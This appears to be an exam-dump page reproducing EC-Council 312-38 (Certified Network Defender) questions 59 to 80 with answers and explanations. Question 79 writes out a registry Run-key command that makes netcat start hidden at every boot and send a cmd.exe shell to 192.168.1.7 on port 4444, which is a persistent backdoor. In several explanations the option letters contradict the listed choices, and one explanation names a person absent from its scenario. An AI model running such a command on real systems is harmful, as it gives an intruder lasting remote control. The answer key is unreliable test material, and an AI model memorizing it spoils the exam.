312-38 Dumps (2024) Prepare Your Exam With 359 Questions
New 312-38 Dumps - Real EC-COUNCIL Exam Questions
NEW QUESTION # 59
Which of the following standards does a cloud service provider has to comply with, to protect the privacy of its customer's personal information?
- A. ISO/IEC 27018
- B. ISO/IEC 27021
- C. ISO/IEC 27020
- D. ISO/IEC 27019
Answer: A
Explanation:
ISO/IEC 27018 is a code of practice for cloud service providers that handle personally identifiable information (PII). It provides a framework for protecting the privacy of PII in the cloud, consistent with the privacy principles in ISO/IEC 29100 for the public cloud computing environment. This standard is particularly relevant for cloud service providers needing to demonstrate they have implemented effective privacy controls to protect their customers' data. The adoption of ISO/IEC 27018 by a cloud service provider is a strong indication of compliance with privacy laws and regulations, ensuring the protection of personal information in the cloud123.
References:
* ISO/IEC 27018 overview and compliance information as provided by Microsoft Learn1.
* Details on ISO/IEC 27018 compliance by Google Cloud2.
* General information about ISO 27018 for cloud providers from Schellman3.
* EC-Council's Certified Network Defender (CND) course content4.
NEW QUESTION # 60
An organization needs to adhere to the______________rules for safeguarding and protecting the electronically stored health information of employees.
- A. SOX
- B. HI PA A
- C. PCI DSS
- D. ISEC
Answer: B
NEW QUESTION # 61
In an Ethernet peer-to-peer network, which of the following cables is used to connect two computers, using RJ-45 connectors and Category-5 UTP cable?
- A. Parallel
- B. Loopback
- C. Crossover
- D. Serial
Answer: C
NEW QUESTION # 62
Arman transferred some money to his friend's account using a net banking service. After a few hours, his friend informed him that he hadn't received the money yet. Arman logged on to the bank's website to investigate and discovered that the amount had been transferred to an unknown account instead. The bank, upon receiving Arman's complaint, discovered that someone had established a station between Arman's and the bank server's communication system. The station intercepted the communication and inserted another account number replacing his friend's account number. What is such an attack called?
- A. Man-in-the-Middle Attack
- B. DNS Poisoning
- C. Privilege Escalation
- D. DNS Cache Poisoning
Answer: A
Explanation:
The scenario described is a classic example of a Man-in-the-Middle (MitM) attack. In this type of cyberattack, the attacker secretly intercepts and possibly alters the communication between two parties who believe they are directly communicating with each other. The attacker has inserted themselves between the two parties, in this case, Arman and the bank's server, and has intercepted the communication to redirect the funds to a different account. This type of attack can occur in various forms, such as eavesdropping on or altering the communication over an insecure network service, but it is characterized by the attacker's ability to intercept and modify the data being exchanged without either legitimate party noticing.
NEW QUESTION # 63
Which of the following is a telecommunication service designed for cost-efficient data transmission for intermittent traffic between local area networks (LANs) and between end-points in a wide area network (WAN)?
- A. X.25
- B. PPP
- C. None
- D. Frame relay
- E. ISDN
Answer: D
Explanation:
Frame relay is a telecommunication service designed for cost-efficient data transmission for intermittent traffic between local area networks (LANs) and between end-points in a wide area network (WAN). Frame relay puts data in a variable-size unit called a frame. It checks for lesser errors as compared to other traditional forms of packet switching and hence speeds up data transmission. When an error is detected in a frame, it is simply dropped. The end points are responsible for detecting and retransmitting dropped frames.
Answer option C is incorrect. Integrated Services Digital Network (ISDN) is a digital telephone/ telecommunication network that carries voice, data, and video over an existing telephone network infrastructure. It requires an ISDN modem at both the ends of a transmission. ISDN is designed to provide a single interface for hooking up a telephone, fax machine, computer, etc. ISDN has two levels of service, i.e., Basic Rate Interface (BRI) and Primary Rate Interface (PRI).
Answer option A is incorrect. The Point-to-Point Protocol, or PPP, is a data link protocol commonly used to establish a direct connection between two networking nodes. It can provide connection authentication, transmission encryption privacy, and compression. PPP is commonly used as a data link layer protocol for connection over synchronous and asynchronous circuits, where it has largely superseded the older, non- standard Serial Line Internet Protocol (SLIP) and telephone company mandated standards (such as Link Access Protocol, Balanced (LAPB) in the X.25 protocol suite). PPP was designed to work with numerous network layer protocols, including Internet Protocol (IP), Novell's Internetwork Packet Exchange (IPX), NBF, and AppleTalk.
Answer option D is incorrect. The X.25 protocol, adopted as a standard by the Consultative Committee for International Telegraph and Telephone (CCITT), is a commonly-used network protocol. The X.25 protocol allows computers on different public networks (such as CompuServe, Tymnet, or a TCP/IP network) to communicate through an intermediary computer at the network layer level. X.25's protocols correspond closely to the data-link and physical-layer protocols defined in the Open Systems Interconnection (OSI) communication model.
NEW QUESTION # 64
Docker provides Platforms-a-Service (PaaS) through __________ and deliver*; containerized software packages
- A. Network level virtualization
- B. Storage-level virtualization
- C. OS level visualization
- D. Server-level visualization
Answer: C
Explanation:
Docker provides Platform-as-a-Service (PaaS) through OS-level virtualization. This form of virtualization allows for the deployment of software in packages called containers. Containers are isolated from each other and bundle their own software, libraries, and configuration files; they can communicate with each other through well-defined channels. OS-level virtualization is lightweight compared to other forms of virtualization because it does not require a hypervisor to create virtual machines. Instead, the Docker Engine enables the containers to run directly within the host machine's operating system but with separate namespaces, which is why it's considered OS-level.
References: The information provided is consistent with the Certified Network Defender (CND) course's objectives regarding understanding different types of virtualization and their purposes in network security. Docker's use of OS-level virtualization is a fundamental concept covered in the study materials12.
NEW QUESTION # 65
Which of the following is a worldwide organization that aims to establish, refine, and promote Internet security standards?
- A. ITU
- B. WASC
- C. IEEE
- D. ANSI
Answer: B
NEW QUESTION # 66
Simran is a network administrator at a start-up called Revolution. To ensure that neither party in the company can deny getting email notifications or any other communication, she mandates authentication before a connection establishment or message transfer occurs. What fundamental attribute of network defense is she enforcing?
- A. Integrity
- B. Confidentiality
- C. Authentication
- D. Non-repudiation
Answer: D
Explanation:
Non-repudiation is a fundamental attribute of network defense that ensures that neither party can deny the authenticity of their communications. In the context of Simran's actions as a network administrator, by mandating authentication before any connection establishment or message transfer, she is ensuring that the identity of the communicating parties can be confirmed and that the parties cannot later deny having sent or received the messages. This is crucial for maintaining accountability and trust within the network, as it provides irrefutable proof of the origin and integrity of the communications.
NEW QUESTION # 67
Which of the following policies is used to add additional information about the overall security posture and serves to protect employees and organizations from inefficiency or ambiguity?
- A. Group policy
- B. Issue-Specific Security Policy
- C. User policy
- D. IT policy
Answer: B
NEW QUESTION # 68
Which Internet access policy starts with all services blocked and the administrator enables safe and necessary services individually, which provides maximum security and logs everything, such as system and network activities?
- A. Prudent policy
- B. Permissive policy
- C. Internet access policy
- D. Paranoid policy
Answer: D
Explanation:
The Paranoid policy is an Internet access policy that begins with the premise that all services are blocked by default. Under this policy, the administrator must explicitly enable each service that is deemed safe and necessary. This approach ensures maximum security as it minimizes the potential attack surface by not allowing any services unless they have been vetted and approved. Additionally, this policy typically involves extensive logging of all system and network activities, which can be crucial for monitoring, auditing, and forensic purposes.
NEW QUESTION # 69
How is the chip-level security of an IoT device achieved?
- A. By turning off the device when not needed or not in use
- B. By changing the password of the router
- C. By encrypting the JTAG interface
- D. By closing insecure network services
Answer: C
Explanation:
Chip-level security for an IoT device is achieved by implementing measures that protect the device's hardware, particularly against physical attacks and unauthorized access to debugging ports. Encrypting the JTAG (Joint Test Action Group) interface is a critical step in securing an IoT device at the chip level. The JTAG interface is a standard for testing PCBs (Printed Circuit Boards) and widely used for debugging embedded systems. If left unsecured, it can be exploited to reverse engineer the device firmware or to inject malicious code. Encryption of the JTAG interface ensures that even if attackers gain physical access to the JTAG port, they cannot use it to compromise the device without the encryption key.
References: The response is informed by industry practices for securing IoT devices at the hardware level, including the protection of interfaces and ports that could be exploited if left unencrypted12.
NEW QUESTION # 70
Assume that you are working as a network defender at the head office of a bank. One day a bank employee informed you that she is unable to log in to her system. At the same time, you get a call from another network administrator informing you that there is a problem connecting to the main server. How will you prioritize these two incidents?
- A. Based on the type of response needed for the incident
- B. Based on a first come first served basis
- C. Based on a potential technical effect of the incident
- D. Based on approval from management
Answer: C
Explanation:
Prioritizing incidents based on their potential technical effect ensures that the most critical issues are addressed first, minimizing the impact on the organization's operations. In this scenario:
* An inability to connect to the main server could indicate a network-wide issue that affects many users and services, potentially disrupting key operations.
* A single employee unable to log in, while important, is typically less critical compared to a network-wide server issue.
By assessing the potential technical effect, Byron can determine that resolving the main server connectivity issue should take precedence over the individual login problem. This approach helps maintain the overall health and functionality of the network.
References:
* EC-Council Certified Network Defender (CND) Study Guide
* Incident Management Best Practices
NEW QUESTION # 71
If there is a fire incident caused by an electrical appliance short-circuit, which fire suppressant should be used to control it?
- A. Raw chemical
- B. Dry chemical
- C. Wet chemical
- D. Water
Answer: B
Explanation:
For a fire caused by an electrical appliance short-circuit, the appropriate fire suppressant is a dry chemical extinguisher. This type of extinguisher is effective because it can smother the fire without conducting electricity, which is crucial for electrical fires. Dry chemical extinguishers typically contain agents like mono-ammonium phosphate or sodium bicarbonate, which help to interrupt the chemical reaction of the fire, effectively putting it out. It's important not to use water or wet chemicals on electrical fires, as they can conduct electricity and exacerbate the situation.
References: The use of dry chemical fire extinguishers for electrical fires is a standard safety protocol, as they provide a non-conductive means to extinguish the fire, aligning with the safety measures outlined in the EC-Council's Certified Network Defender (CND) program12.
NEW QUESTION # 72
John works as an Incident manager for TechWorld Inc. His task is to set up a wireless network for his
organization. For this, he needs to decide the appropriate devices and policies required to set up the network.
Which of the following phases of the incident handling process will help him accomplish the task?
- A. Preparation
- B. Containment
- C. Eradication
- D. Recovery
Answer: A
Explanation:
Preparation is the first step in the incident handling process. It includes processes like backing up copies of all
key data on a regular basis, monitoring and updating software on a regular basis, and creating and
implementing a documented security policy. To apply this step a documented security policy is formulated that
outlines the responses to various incidents, as a reliable set of instructions during the time of an incident. The
following list contains items that the incident handler should maintain in the preparation phase i.e. before an
incident occurs:
Establish applicable policies
Build relationships with key players
Build response kit
Create incident checklists
Establish communication plan
Perform threat modeling
Build an incident response team
Practice the demo incidents
Answer option A is incorrect. The Containment phase of the Incident handling process is responsible for
supporting and building up the incident combating process. It ensures the stability of the system and also
confirms that the incident does not get any worse. The Containment phase includes the process of preventing
further contamination of the system or network, and preserving the evidence of the contamination.
Answer option D is incorrect. The Eradication phase of the Incident handling process involves the cleaning-up
of the identified harmful incidents from the system. It includes the analyzing of the information that has been
gathered for determining how the attack was committed. To prevent the incident from happening again, it is
vital to recognize how it was conceded out so that a prevention technique is applied.
Answer option B is incorrect. Recovery is the fifth step of the incident handling process. In this phase, the
Incident Handler places the system back into the working environment. In the recovery phase the Incident
Handler also works with the questions to validate that the system recovery is successful. This involves testing
the system to make sure that all the processes and functions are working normal. The Incident Handler also
monitors the system to make sure that the systems are not compromised again. It looks for additional signs of
attack.
NEW QUESTION # 73
Alex is administrating the firewall in the organization's network. What command will he use to check all the remote addresses and ports in numerical form?
- A. Netstat -ao
- B. Netstat -an
- C. Netstat -o
- D. Netstat -a
Answer: B
Explanation:
The netstat -an command is used to display all active connections and listening ports with addresses and port numbers in numerical form. This is particularly useful for administrators who need to quickly identify connections without resolving the hostnames, which can save time and resources, especially when dealing with a large number of connections.
NEW QUESTION # 74
Sam wants to implement a network-based IDS in the network. Sam finds out the one IDS solution which works is based on patterns matching. Which type of network-based IDS is Sam implementing?
- A. Anomaly-based IDS
- B. Stateful protocol analysis
- C. Behavior-based IDS
- D. Signature-based IDS
Answer: D
NEW QUESTION # 75
If a network is at risk from unskilled individuals, what type of threat is this?
- A. Unstructured Threats
- B. Internal Threats
- C. External Threats
- D. Structured Threats
Answer: A
Explanation:
Unstructured threats typically originate from individuals who lack advanced skills or a sophisticated understanding of network systems. These threats often involve simple methods to disrupt network operations, such as basic malware attacks or exploiting known vulnerabilities that have not been patched. In the context of the Certified Network Defender (CND) program, unstructured threats are recognized as those that can be caused by unskilled individuals who may inadvertently introduce risks to the network through misconfigurations or inadequate security practices.
NEW QUESTION # 76
Which of the following types of transmission is the process of sending one bit at a time over a single transmission line?
- A. Serial data transmission
- B. Unicast transmission
- C. Multicast transmission
- D. Parallel data transmission
Answer: A
NEW QUESTION # 77
Cindy is the network security administrator for her company. She just got back from a security conference in Las Vegas where they talked about all kinds of old and new security threats; many of which she did not know of. She is worried about the current security state of her company's network so she decides to start scanning the network from an external IP address. To see how some of the hosts on her network react, she sends out SYN packets to an IP range. A number of IPs responds with a SYN/ACK response. Before the connection is established, she sends RST packets to those hosts to stop the session. She has done this to see how her intrusion detection system will log the traffic. What type of scan is Cindy attempting here?
- A. Cindy is using a half-open scan to find live hosts on her network.
- B. The type of scan she is usinq is called a NULL scan.
- C. Cindy is attempting to find live hosts on her company's network by using a XMAS scan.
- D. She is utilizing a RST scan to find live hosts that are listening on her network.
Answer: A
Explanation:
The technique Cindy is using is known as a half-open scan, or SYN scan. This method involves sending SYN packets, which are the initial step in establishing a TCP connection, to various hosts to determine if the ports are listening. If a host responds with a SYN/ACK, it indicates that the port is open and ready to establish a connection. Cindy then sends an RST packet to terminate the session before the connection is fully established. This type of scan is useful for mapping out live hosts on a network without completing the TCP three-way handshake, thus avoiding the creation of a full connection and reducing the likelihood of detection by intrusion detection systems.
NEW QUESTION # 78
John, a network administrator, is configuring Amazon EC2 cloud service for his organization.
Identify the type of cloud service modules his organization adopted.
- A. Platform-as-a-Service (PaaS)
- B. Infrastructure-as-a-Service (IaaS)
- C. Software-as-a-Service (SaaS)
- D. Storage-as-a-Service (SaaS)
Answer: B
NEW QUESTION # 79
You run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e
cmd.exe"
What task do you want to perform by running this command?Each correct answer represents a complete solution. Choose all that apply.
- A. You want to perform banner grabbing.
- B. You want to put Netcat in the stealth mode.
- C. You want to add the Netcat command to the Windows registry.
- D. You want to set the Netcat to execute command any time.
Answer: B,C,D
Explanation:
According to the question, you run the following command on the remote Windows server 2003
computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
"c:\windows\nc.exe -d 192.168.1.7 4444 -e
cmd.exe"
By running this command, you want to perform the following tasks:
Adding the NetCat command in the following registry value:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Putting the Netcat in the stealth mode by using the -d switch. Setting the Netcat tool to execute
command at any time by using the -e switch.
Answer option A is incorrect. You can perform banner grabbing by simply running the nc <host>
<port>.
NEW QUESTION # 80
Which of the following networks interconnects devices centered on an individual person's workspace?
- A. WLAN
- B. WWAN
- C. WPAN
- D. WMAN
Answer: C
NEW QUESTION # 81
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